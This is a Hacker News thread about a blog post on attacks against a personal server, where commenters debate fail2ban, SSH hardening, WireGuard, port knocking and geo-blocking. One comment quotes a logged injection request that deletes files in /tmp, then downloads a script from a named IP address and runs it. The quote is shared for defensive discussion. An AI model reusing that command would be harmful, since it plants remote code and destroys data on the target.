Who's Attacking My Server?(bastian.rieck.me)
bastian.rieck.me
Who's Attacking My Server?
https://bastian.rieck.me/blog/posts/2022/server/
230 comments
Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
If fail2ban is theater, so is a firewall, so is SELinux, so are filesystem permissions (a properly configured process would only read/write the files it's supposed to, right?).
If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or out of date software. Same way that a firewall buys you time to find that your database is listening on 0.0.0.0.
If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or out of date software. Same way that a firewall buys you time to find that your database is listening on 0.0.0.0.
I believe the implication is that a properly configured server isn't going to allow passwords, and fail2ban isn't much more than a log size reducer when passwords aren't allowed.
I'm all about reducing the noise in log files.
I've had three production servers go down for various clients and the primary reason was full disk, primarily due to log files.
I've had three production servers go down for various clients and the primary reason was full disk, primarily due to log files.
We've had a server go "down" due to log files too, but not because of size, but because of inodes. I think the samba server logged each incoming request into an empty text file with the IP. This eventually caused some problems, but we could still ssh in and delete the files ... but it's not fun to find out what even happened and to do that without autocomplete.
Nothing wrong with a decent password.
> time to find that your database is listening on 0.0.0.0
I think that this would be the norm and desirable for databases serving clients other than the local host's. Plopping the database server onto a public network and allowing anyone at all to talk to it, on the other hand...
I think that this would be the norm and desirable for databases serving clients other than the local host's. Plopping the database server onto a public network and allowing anyone at all to talk to it, on the other hand...
Indeed. The author could have spent 15 minutes setting up Tailscale [0] and not expose any listening administration ports to the Internet at all. If they wanted to avoid using a hosted service, Wireguard alone is incredibly defensive against attackers who do not have access to the secret material. Tailscale basically just adds some NAT traversal [1] and OIDC login wrappers.
[0]: https://tailscale.com/
[1]: https://tailscale.com/blog/how-nat-traversal-works/
[0]: https://tailscale.com/
[1]: https://tailscale.com/blog/how-nat-traversal-works/
Before complicating the setup even more (by adding more software), I'd opt to make sure I configure the software I already have before going down that route. Removing password login + changing the port would already remove any attack surface and make most scans not finding it at all. And if I'd still be annoyed by the amount of log items at that point, I'd add MAC/IP filtering at the firewall level before getting to the point of adding something like Tailscale.
Unless I had multiple users who'd need to login of course, but then Tailscale suddenly become a paid product, and I'd probably add another instance as a bastion host at that point.
I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.
Unless I had multiple users who'd need to login of course, but then Tailscale suddenly become a paid product, and I'd probably add another instance as a bastion host at that point.
I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.
I’d say MAC/IP filtering is more annoying in the long term than Wireguard, since I’m not sure I could say that I will 100% never need to access the server unexpectedly from somewhere else.
But the ordering before that seem very reasonable. Although Wireguard is a soft alternative to changing default port, so it might be worth doing that.
On a slight tangent, I’ve never really bought into changing SSH port from default. I’d say the convenience of not having config/extra port specification is worth having it on a well known port, but that’s just my personal philosophy. I feel like for my low traffic things, just having strong SSH key and auto-updates is good enough.
But the ordering before that seem very reasonable. Although Wireguard is a soft alternative to changing default port, so it might be worth doing that.
On a slight tangent, I’ve never really bought into changing SSH port from default. I’d say the convenience of not having config/extra port specification is worth having it on a well known port, but that’s just my personal philosophy. I feel like for my low traffic things, just having strong SSH key and auto-updates is good enough.
Changing the port cut the invalid auths from 1000s a day to 0. Why deal with and log that spam?
Depends, I don’t think the storage requirements for the spam is that high and I would rather just use grep than remember the nonstandard port I picked.
But I guess this is partly because I tend to look at logs a lot less than I SSH into my server.
But I guess this is partly because I tend to look at logs a lot less than I SSH into my server.
> I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.
Couldn't agree more!
Couldn't agree more!
No need for any kind of MAC filtering: MAC is not propagated outside the L2 broadcast domain, so your server will see only the MAC of the default gateway (the router).
What exactly are you trying to accomplish with MAC filtering?
Have you not heard of the immensely popular man-between-the-first-hop-attack where hackers physically attach another hop between your server and its gateway?
I'm guessing to auth client devices (i.e this is my laptops Mac address, allow this)
Not sure I understand the point of Tailscale. The server should expose these ports to the internet...that's part of its purpose. Admittedly, I have never heard about Tailscale until now; it appears to solve a different kind of problem than the one I am interested in.
You don’t add tailscale if you care about open source.
You can run your own self-hosted Tailscale control server with Headscale.
> Fail2ban is theater on a properly configured server
How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?
I see a variety of weird requests made to my http server. A sample:
`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`
Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?
I see a variety of weird requests made to my http server. A sample:
`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`
Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
I have a separate log file for the default vhost that's not parsed by log aggregation tools. Most scanners just hit your IP rather than an actual hostname (unless your site is very popular and well-known), so most spam ends up there. That keeps your actual log file much cleaner.
https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...
https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...
This is a neat little solution. Thanks. I'll set this up and test it out.
You don't, because there's no point.
It does get rid of a lot of noise in your log files. Plus, it's foolish to assume ssh is bug free.
There hasn't been a pre-auth remote vulnerability in stock OpenSSH since 2002. It is not for lack of looking. OpenSSH is one of the hardest targets on the Internet: I trust my kernel less.
I've been enough in the SSH code to be somewhat terrified by it. The main server loop has so many nested macro conditionals it's exceptionally difficult to read precisely.
That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.
That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.
qmail has one of the most notoriously inscrutable codebases of all time, and it has a startlingly good track record, because there's a coherent security design behind it; the same --- to a greater extent! --- goes for OpenSSH.
There's a side of this that I agree with, however there's other sides.
The reason I've been in the code base a bunch is because I've taken on support of forks bootstrapped by others in various scenarios.
Design safety goes a fairly long way, but it's so easy to screw up patching code shaped this way. I might trust the core, but I don't trust external patches.
The problem in practice is, distros can't help themselves.
The reason I've been in the code base a bunch is because I've taken on support of forks bootstrapped by others in various scenarios.
Design safety goes a fairly long way, but it's so easy to screw up patching code shaped this way. I might trust the core, but I don't trust external patches.
The problem in practice is, distros can't help themselves.
I wouldn't trust external patches to OpenSSH either.
Maybe qmail and SSH have their good track record because of security by inscrutability
Exactly. You are trusting that sshd, the OS, RAM controller and CPU are all bug free.
httpd is the one service I don't use fail2ban for, preferring a DIY solution instead.
I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.
I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.
I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.
I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.
You could also consider https://crowdsec.net/ - it's a pretty advanced framework for detecting malevolent traffic by using a combination of local rules and threat intelligence from other users. Apache is supported https://hub.crowdsec.net/author/crowdsecurity/collections/ap....
This request tries to find a shell env on your application and pull a script from 209… onto your machine, not related to auth but rather a hijack attempt of your server. Nowadays likely tries to run a cryptominer
Fail2ban is decent indeed. But consider https://crowdsec.net/ instead if you want a tool that can detect pretty advanced L7 attacks, mitigate bad traffic using captcha and use crowd sourced threat intelligence to block bad guys in advance
Except for your one comment 55 days ago, every other comment you've ever posted to HN has been (within about hour of each other, about six hours ago, and is) just spamming this bullshit.
(And that one other comment is a little shady as well.)
Give it up already.
Goodbye!
(And that one other comment is a little shady as well.)
Give it up already.
Goodbye!
It also adds extra attack surface[1] and operational risk (of locking yourself out - seen this happen more than once) for no tangible benefit.
[1]: like https://www.cve.org/CVERecord?id=CVE-2012-5642
[1]: like https://www.cve.org/CVERecord?id=CVE-2012-5642
Is theater on a properly configured server. On an improperly configured server it's the difference between compromised or not. And there tons of improperly cfg'd servers out there. One more layer in the security onion doesn't hurt
Unless there is RCE in Fail2Ban like CVE-2021-32749 which makes it actually worse.
Instead of lowering your attack surface you increase it by adding stuff.
Instead of lowering your attack surface you increase it by adding stuff.
The problem is that you are also at the mercy of passwords selected by your users for smtp, imap, etc. So you still need some defence against brute force.
For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.
For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.
For SSH simply disallowing passwords entirely removes this problem. For me that's the one single thing that dramatically improves defense against any kind of brute force or untargeted attack.
I'm actually shocked that you're the first one to mention it. Only use public key logins and if you're not targeted and if it's practical in your workflow change the port (definitely not for security, only so that sshd won't eat as much CPU time from bruteforce attempts).
Just make sure you don't use a port any higher then 1024 or else a non root process can start up and take its place if the real one crashes.
Oh, good to know, I will ignore this advice and excitedly await for this to happen to me
That's an excellent point. I painted myself into a corner here because I am letting some of my friends use the server as well. Have to gently transition them to public key usage only now.
Give them a reasonable deadline, and just disable password login afterwards.
This isn't something they should have trouble understanding/accepting.
This isn't something they should have trouble understanding/accepting.
Nowadays, if you accept plain user-chosen passwords on SMTP or IMAP, you're already in trouble anyway. Often, the attacker doesn't even have to guess because your users likely re-used the same password across different services...
Thanks, I was unaware of this---I initially (naively?) thought that being banned would at least deter some wannabe attackers. In your experience, does it do anything if I start collecting some reports on repeat offenders and notify their ISP? Or is that just more wishful thinking of my part?
Absolutely nothing will be done about reports of people running SSH scanners against your host; it would be like Cnut on his seashore throne ruling the waves to recede: even in the unlikely event that a hosting provider shut someone off (we probably would, if you told us), they'd be followed by 10,000 more.
Thanks for the reality check, I appreciate it! At least I got a nice map out of this (and made sure that nothing was configured incorrectly, to the best of my knowledge)...
You can get a similar reduction in ssh scans simply by moving the port (and doing nothing else) as the majority of scans only hit port 22.
Whether this is worth the hassle is left to the reader: if you have passwords disabled and only use keys it really shouldn’t matter.
Whether this is worth the hassle is left to the reader: if you have passwords disabled and only use keys it really shouldn’t matter.
In my experience, they find it anyway.
I've run ssh on non-standard ports for over 20 years, and my auth.log is gets a hundred knocks an hour - and mind you, they all return "no key".
It's just life, and it will continue to get worse. Secure your server and ignore it.
I've run ssh on non-standard ports for over 20 years, and my auth.log is gets a hundred knocks an hour - and mind you, they all return "no key".
It's just life, and it will continue to get worse. Secure your server and ignore it.
ruling the waves
This aggression will not stand
This aggression will not stand
I don't think this idea is aligned with how these types of attacks actually work. The dumb stuff like this is almost entirely automated, nobody will notice enough to be deterred by it. Possibly whoever is running it will get a list of servers where the bruteforce login attempts worked, or maybe they just get some kind of low-effort thing like cryptominer or spam server installed automatically.
If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.
If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.
As an individual your reports will likely be ignored, however if you do want to report consider contributing to a service like AbuseIPDB. It probably doesn't do much either but at least it feels like I'm doing my part to report abuse and maybe some ISPs will choose to act on it.
That's one of many reason why https://crowdsec.net/ was created. It collects (anonymized) threat intelligence from all users, vets it and distributes it as relevant blocklists. Once there's enough users it will be a very effective way to fight bad guys. And unlike your suggestion it DOES make a difference. Currently around 800k signals are collected daily and around 19k vetted malevolent ips are distributed to users on a daily basis.
You should just not allow any IP to access your server to begin with… have a list of trusted IPs - this and only allow public / private key access with a second factor device and I think you should be good…
I like to be able to maintain contact with my servers outside of a few specific ip's - I've locked myself out far too many times when I whitelist a very small number.
Anyone have a better workaround for this?
Anyone have a better workaround for this?
Stop using fail2ban/tallow/etc, and follow a sensible guide like https://infosec.mozilla.org/guidelines/openssh to harden your ssh configuration. This will result in about half the attempts failing at protocol negotiation, long before auth (though that ratio is decreasing over time).
Wireguard is also very strong here, as it learned from this kind of problem in SSH and does not reply at all unless authentication succeeds. This makes debugging harder, but also makes leaving it openly listening quite a bit safer, as the protocol surface in pre-auth is absolutely minimal.
Wireguard is also very strong here, as it learned from this kind of problem in SSH and does not reply at all unless authentication succeeds. This makes debugging harder, but also makes leaving it openly listening quite a bit safer, as the protocol surface in pre-auth is absolutely minimal.
Maybe use spiped[1] if you are worried about ssh security?
[1]: https://www.tarsnap.com/spiped.html
[1]: https://www.tarsnap.com/spiped.html
I tried it.
I found it harder to use. I even wrote tests for my use cases and what I learned was a real appreciation of what ssh does, is, and provides and I went the other way and use it in more places than I did before.
I found it harder to use. I even wrote tests for my use cases and what I learned was a real appreciation of what ssh does, is, and provides and I went the other way and use it in more places than I did before.
Perhaps a port knock.
I don't know the mechanics, but a port knock is hitting pre-defined ports in a pre-defined order. When you "shave and a haircut" the ports properly, the server opens something up. In this case white listing (gray listing?) the IP that the knock came from.
You could add a layers to it to make it more complicated.
I don't know the mechanics, but a port knock is hitting pre-defined ports in a pre-defined order. When you "shave and a haircut" the ports properly, the server opens something up. In this case white listing (gray listing?) the IP that the knock came from.
You could add a layers to it to make it more complicated.
Please don't use silly stuff like port knocking. Your SSH server already does a cryptographically sound authentication step. "Port knocking" is even more performative than fail2ban.
I VPN into my home network as a bastion host, so I'm always connecting from the same IP.
I'm using the cloud providers IP filtering to block everything but my IP on port 22. If something goes horribly wrong, I can disable it thru their web interface.
I'm using the cloud providers IP filtering to block everything but my IP on port 22. If something goes horribly wrong, I can disable it thru their web interface.
IMHO there's no need to worry (but you should disable password access), but if you really want to, port knocking is an option.
During holiday trips, where I might need to access a server from anywhere, I use a list of one time passwords (more or less just a bunch of md5sums) which I can send to a server on https, which then adds the requesting ip address to /etc/hosts.allow for a limited time. This ip address will be able to connect via ssh (still secured with a key) then for that time.
This is a really cool idea! I've also toyed with a similar approach of watching ssh logs within very specific time windows and providing a one time key in order to temporarily add another SSH key which I can use to recover the server.
Probably a bit overkill - but it was a fun feature to implement with Go over the weekend. The new Fido2 SSH implementation is also incredibly cool.
Probably a bit overkill - but it was a fun feature to implement with Go over the weekend. The new Fido2 SSH implementation is also incredibly cool.
Eh I’ve scanned the entire IPv4 space and tested default passwords over ssh from both AWS and my Comcast connection at home and never got banned from either one. I’m sure it can happen, but it’s no big deal.
The GP is right: If you use ed25519 keys, looking at logs and playing whack a mole with countries is just security theater for people who are new to the internet and get scared when their MOTD says “500 failed logins”.
The GP is right: If you use ed25519 keys, looking at logs and playing whack a mole with countries is just security theater for people who are new to the internet and get scared when their MOTD says “500 failed logins”.
How long did scanning the entire IPv4 space take?
masscan with the right setup (namely hardware + drivers but also connection obviously) can scan the entire IPv4 space (+ all ports) in ~5 minutes.
Source Code: https://github.com/robertdavidgraham/masscan
Article from PoC || GTFO with more internal details on how it works: https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf (Page 66) [Note: PDF is both a valid PDF + valid ZIP file with source code]
Source Code: https://github.com/robertdavidgraham/masscan
Article from PoC || GTFO with more internal details on how it works: https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf (Page 66) [Note: PDF is both a valid PDF + valid ZIP file with source code]
That depends on the machine you are using. Tools like mass scan to locate open ssh ports and then testing them doesn’t need to take long if you have a beefy machine and pipe to the internet.
~4 hours on a 1G port, IIRC
I’m sure you could do it a lot faster with a better CPU and 20% commit on a 10G port
I’m sure you could do it a lot faster with a better CPU and 20% commit on a 10G port
hmm I reason sooner or later a scanner will find an xss/sql exploit/whatever? why give scanners free access to search endlessly for possible exploits when you can fail2ban? all servers have possible exploits if they expose a medium complex service. (if ssh is all you expose and you only allow keys, fine!)
I'm curious, is it common for scanners to look for vulnerabilities in bespoke servers, or do they usually look for known vulnerabilities in specific versions of popular servers like WordPress, Apache, etc?
[deleted]
I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.
> I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.
All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.
All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.
It's the classic VPN vs BeyondCorps debate. Tailscale is awesome tech but since my focus is on sharing self-hosted services with others BeyondCorps makes more sense for me.
I believe Tailscale is basically intended to be installed in every machine that want to be connected (no subnet routing, like BeyondCorps). They also have subnet routing for convenience and to support non installable devices.
How would that work? Connections are mainly peer-to-peer with Tailscale. An attack (I suppose pushing new key pairs to specific peers and pointing them through a malicious endpoint?) would likely require a very noisy and detectable process.
Port knocking, Wireguard, never look back.
You can set an alert for every failed SSH connection because if someone is able to get through that, it's alarming.
This setup has the side effect of reducing your log noise to zero. That SNR is super important for intrusion detection.
You can set an alert for every failed SSH connection because if someone is able to get through that, it's alarming.
This setup has the side effect of reducing your log noise to zero. That SNR is super important for intrusion detection.
I found just using a different port was enough for me and didn't need port knocking to reduce log noise, which I agree is super important.
I also have alerts for both failed SSH or failed wireguard connections, and for any logins from a new IP with either SSH or wireguard.
I also have alerts for both failed SSH or failed wireguard connections, and for any logins from a new IP with either SSH or wireguard.
An upgrade to port knocking is Single Packet Authorization [1]. It doesn’t suffer from the observability, and other, problems of port knocking.
[1] https://www.cipherdyne.org/fwknop/
[1] https://www.cipherdyne.org/fwknop/
Is there any other kind? SPA is the only port knocking I use!
The folks at OpenBSD Misc do not recommend port knocking. IIRC one of the reasons stated was a possibility of getting locked out of your own server. I tried looking up the relevant thread, but am on the phone.
Linux's firewall can do port knocking entirely in the kernel:
https://wiki.nftables.org/wiki-nftables/index.php/Port_knock...
That script gets compiled into BPF and uploaded into the kernel once, at boot/ifup time. All the memory is preallocated.
Userspace can be dead/hung/OOM and you can be sure that at least the port knocking won't be why you got locked out.
https://wiki.nftables.org/wiki-nftables/index.php/Port_knock...
That script gets compiled into BPF and uploaded into the kernel once, at boot/ifup time. All the memory is preallocated.
Userspace can be dead/hung/OOM and you can be sure that at least the port knocking won't be why you got locked out.
Thank you. One learns something new everyday. And I feel humbled by most comments I read here.
I did look up OpenBSD pf again, and it too does port knocking in the kernel. My information was dated (left the misc mailing list at least 5 years ago).
I did look up OpenBSD pf again, and it too does port knocking in the kernel. My information was dated (left the misc mailing list at least 5 years ago).
I once made a very similar visualization to see where people were trying to attack my servers from by adapting (e.g. use local geoip database file instead of ipinfo service) the Python script from [1], which uses folium to generate an interactive (standalone HTML file) heatmap of IP address locations.
[1] https://github.com/meesaltena/SSHHeatmap
[1] https://github.com/meesaltena/SSHHeatmap
I'm curious what would happen if someone set up a sandbox and let the attackers in. As in curious what commands they would run and what services they would try to install. I'm guessing crypto mining or spam mail?
The problem with a honey trap like that is that the uninteresting events are uninteresting (as you suggest, installing a mail relay, miner, or both, and likely a copy of itself for further spreading), but the interesting ones are unlikely to be fooled unless the honeypot is very clever.
To see anything really interesting you possibly need to let it get far enough that with a good zero-day intend in-hand it may be able to break out and affect the host. I don't know about you, but I don't trust myself to be that clever!
To see anything really interesting you possibly need to let it get far enough that with a good zero-day intend in-hand it may be able to break out and affect the host. I don't know about you, but I don't trust myself to be that clever!
That's a wonderful project. Amazing, this can be done with just over a hundred lines of code. (excluding packages)
That looks gorgeous, thanks for sharing it!
Geo fence them. There is no ROI to providing value to Russia or their partners. They only serve as launchpads for cyber attacks and recon anyway. Chances are any organic Russian would be forbidden from directly viewing your page anyway, so it's literally all bots. Organic Russians come from proxys and VPNs.
Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digital exports are bullet proof hosting, botnet-for-hire services, and low quality malware. Click spam, domain squatting... it's basically the red light district of the internet.
Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digital exports are bullet proof hosting, botnet-for-hire services, and low quality malware. Click spam, domain squatting... it's basically the red light district of the internet.
I hate Russia right now, but geofencing is just... bad.
I've been geofenced and blocked my whole life, being from a small country no one gives a shit about. If not for the Internet, I'd likely be way more influenced by general media and be a pro-Russian usefu...less idiot. Because there would be no alternative, no way to learn and decide for myself.
So just my opinion, every person who can be influenced by western ideals (yes, I'm aware they're far from perfect) is worth it. Perhaps one of them can become someone of influence, either at home or as an immigrant.
Am I worth it? No. I don't add much to anything. But neither do the vast majority of Americans and Europeans. I'd just rather have a Russian/Chinese/Pakistani/Iranian/you name it as a friend than as an enemy.
If the price is learning proper configuration and/or a single core MIPS processor working overtime, I'd say it's worth it.
I've been geofenced and blocked my whole life, being from a small country no one gives a shit about. If not for the Internet, I'd likely be way more influenced by general media and be a pro-Russian usefu...less idiot. Because there would be no alternative, no way to learn and decide for myself.
So just my opinion, every person who can be influenced by western ideals (yes, I'm aware they're far from perfect) is worth it. Perhaps one of them can become someone of influence, either at home or as an immigrant.
Am I worth it? No. I don't add much to anything. But neither do the vast majority of Americans and Europeans. I'd just rather have a Russian/Chinese/Pakistani/Iranian/you name it as a friend than as an enemy.
If the price is learning proper configuration and/or a single core MIPS processor working overtime, I'd say it's worth it.
>Organic Russians come from proxys and VPNs.
[citation needed] - I have Russian friends and they generally don't use proxies or VPNs.
[citation needed] - I have Russian friends and they generally don't use proxies or VPNs.
With a recent Instagram block I assume you will see much more ordinary people using VPNs.
Good point; there used to be some issues with this since my dad is an interpreter for Russian, so we used to have some legitimate business there (probably not relevant, but his clients would essentially come to Europe to be trained in certain medical equipment)...but recent events might probably force early retirement for him.
Somewhat unrelated: I have noticed that SPAM from Russian servers stopped on Feb 23 right before the invasion; I wonder what that means.
Somewhat unrelated: I have noticed that SPAM from Russian servers stopped on Feb 23 right before the invasion; I wonder what that means.
does anyone here recognize the difference between civilians and participants in armed conflict? medical in particular, right?
Couldn't agree more---let me point out that our (i.e. the German) government started sanctions along with the rest of most (all?) European countries. It's not our choice any more---my dad used to believe in the 'Ostpolitik' of Willy Brandt, and he's heartbroken to hear about the horrors of war :(
(my research institution has also put a stop on all projects involving Russian collaborators at the moment; on the one hand, I can understand this reaction, on the other hand, it creates even more problems and, as you say, does not distinguish between those responsible for the conflict and those who are not. This is not really not an easy space to navigate.)
(my research institution has also put a stop on all projects involving Russian collaborators at the moment; on the one hand, I can understand this reaction, on the other hand, it creates even more problems and, as you say, does not distinguish between those responsible for the conflict and those who are not. This is not really not an easy space to navigate.)
Tell that to the Russians bombing civilian targets in Ukraine. If the worst happening to Russian civilians right now is that they can’t access someone’s blog, well, I can think of far worse things for civilians to have to deal with.
I'm still undecided as to whether closing maccy d's is a good thing or a bad thing (for them).
armies are only supported by the industry and economy created by the civilians.
probably they are talking about how sanctions make making business with Russia difficult.
Sure. But if you read the article you see the vast majority of the attacks and the most persistent ones seem to originate from China and Hong Kong.
I thought that was so funny. The author even stated at the beginning that the Ukraine/Russia conflict was a reason for better security.
Russia represented a whopping 2% of his naughty list.
(Posted this above as well) I saw a spike in traffic after the invasion; this prompted the whole thing. Turns out it's not coming from Russia, though.
Yes, because I saw a spike in traffic that made me scratch my head. Turns out it's not originating from there, though :-)
It’s pretty common to geofence China too in my experience, for the same reasons.
It seems like malicious traffic would be more agile come from everywhere, but if you block those two countries you filter a great deal of it.
It seems like malicious traffic would be more agile come from everywhere, but if you block those two countries you filter a great deal of it.
[deleted]
Any documentation on how to do "geo fencing" without relying on third parties? Is it enough to have one big static list of ip addresses (or subnets)? How often does the list need to be updated?
I used to do this with a local copy of the IP2Location database [1]. This way you don't have to poll a third party. The caveat is you have to keep the database up to date.
https://www.ip2location.com/ [1]
https://www.ip2location.com/ [1]
It depends on what you’re doing and who the legit users are.
The downside of static lists is that AWS, Azure, etc frequently purchase IP spaces and realign them with US datacenters. Probably not an issue for blocking Russia or China, but if you want US only traffic, or North American traffic, you can run into problems.
The downside of static lists is that AWS, Azure, etc frequently purchase IP spaces and realign them with US datacenters. Probably not an issue for blocking Russia or China, but if you want US only traffic, or North American traffic, you can run into problems.
You cannot know where a server is physically located, as even self-reported locations are incorrect (by accident and/or on purpose) and there is no such thing as non-3rd party data about physical location as servers as again, it's self-reported and any registry can say whatever they want in regards to where a server is located.
There are many different 3rd party sources for geo locating IP addresses, maybe MaxMinds is the most popular one. But if you acquire a few, you'll notice that sometimes even they don't agree where the location of a server is.
There are many different 3rd party sources for geo locating IP addresses, maybe MaxMinds is the most popular one. But if you acquire a few, you'll notice that sometimes even they don't agree where the location of a server is.
I'm reminded of this story[0] from a few years ago where a family in Kansas was raided by every US ABC agency because MaxMinds was using their lat/long as the default when there was no exact position.
https://www.theguardian.com/technology/2016/aug/09/maxmind-m...
https://www.theguardian.com/technology/2016/aug/09/maxmind-m...
Cloudflare lets you block countries, ASNs and IP blocks.
See my recommendation in the top level thread.
"I am wondering whether it would be legal to try to automatically check for known exploits, in order to ‘p0wn’ the wannabe-attacker and disable their system instead."
Absolutely illegal. Don't do that.
Also, if your setup is enough at controlling the nuisance, why bother?
--
Good work though, liked the visualization of attacker IP locations!
Have you considered running at least SSH on nonstandard port?
Absolutely illegal. Don't do that.
Also, if your setup is enough at controlling the nuisance, why bother?
--
Good work though, liked the visualization of attacker IP locations!
Have you considered running at least SSH on nonstandard port?
What about hold your ground laws, or self defense? It may be time to consider these.
Those are generally for humans defending themselves in life threatening situations. I would suggest talking to a lawyer if you are going this route.
I'm not. I wish to consider if defending one's home might include defending one's electronic presence, however that may manifest itself.
For example, you have a home security system that you monitor from your mobile device. Perhaps you have your pet at home, there have been break-ins in your neighborhood, and just after someone showed up on your doorstep the CCTV feed cuts. You are not at home and the cops are busy. - But you have the skills to defend your home's electronic presence. You suspect a life, your pet, may be in danger so you have a good motive.
What then?
For example, you have a home security system that you monitor from your mobile device. Perhaps you have your pet at home, there have been break-ins in your neighborhood, and just after someone showed up on your doorstep the CCTV feed cuts. You are not at home and the cops are busy. - But you have the skills to defend your home's electronic presence. You suspect a life, your pet, may be in danger so you have a good motive.
What then?
I totally get the idea and I agree with the intent.
There are some places that allow defending a home using automation using non lethal force but even that comes with some risk of civil legal issues. This is why I suggest consulting with a lawyer. Even with non lethal means one would want to ensure it is legal in their location and that they have the proper signs with appropriate verbiage and mitigating controls in place first. Also understanding what laws are enforced and how they are enforced in your particular area is useful. My own personal solution was to move to a location that supports your idea and the Sheriff would likely high-five me if I take out the trash. There are trade-offs of course and hopefully such things are never required.
There was talk at one point of creating laws that supported counter-hacking but those never happened and it is highly unlikely they would ever pass. Proper attribution is hard enough. There are endless rabbit holes of problems such laws would create. At a minimum there would be a vastly increased requirement on everyone's part to increase audit trails and data storage alone would become a booming business, far more than it already is.
There are some places that allow defending a home using automation using non lethal force but even that comes with some risk of civil legal issues. This is why I suggest consulting with a lawyer. Even with non lethal means one would want to ensure it is legal in their location and that they have the proper signs with appropriate verbiage and mitigating controls in place first. Also understanding what laws are enforced and how they are enforced in your particular area is useful. My own personal solution was to move to a location that supports your idea and the Sheriff would likely high-five me if I take out the trash. There are trade-offs of course and hopefully such things are never required.
There was talk at one point of creating laws that supported counter-hacking but those never happened and it is highly unlikely they would ever pass. Proper attribution is hard enough. There are endless rabbit holes of problems such laws would create. At a minimum there would be a vastly increased requirement on everyone's part to increase audit trails and data storage alone would become a booming business, far more than it already is.
> There are some places that allow defending a home using non lethal force but even that comes with some risk of civil legal issues.
You can defend your home with lethal force in many states in the US. No verbiage, signs or disclaimers required.
You can defend your home with lethal force in many states in the US. No verbiage, signs or disclaimers required.
Agreed, though AFAIK only if it is you doing the defending of yourself and your family, not automation, not booby-traps. This discussion started around defending property remotely vs. defending ones own life in jeopardy.
That's more of a question if protecting your pet's life constitutes a necessary defence in your jurisdiction.
While ignoring the operators/carriers in between you and your target?
Thanks!
I was debating the nonstandard port, but I left it like this to simplify connections for my users. If the traffic starts to continue like this, I might be forced to switch, though.
I was debating the nonstandard port, but I left it like this to simplify connections for my users. If the traffic starts to continue like this, I might be forced to switch, though.
I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume.
It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login?
Your approach to security has a number of issues. First, you don't know if someone is actually interested in your thing or not based on the location. They could be visiting China, could still be able to speak English or any other reason. Secondly, the mapping of Location <> IP Address is not as guaranteed as you seem to think. Plenty of IPs get flagged as Chinese while not being in China, and vice-versa is true as well. Just because some 3rd party says a host/client is in a specific location doesn't make that true.
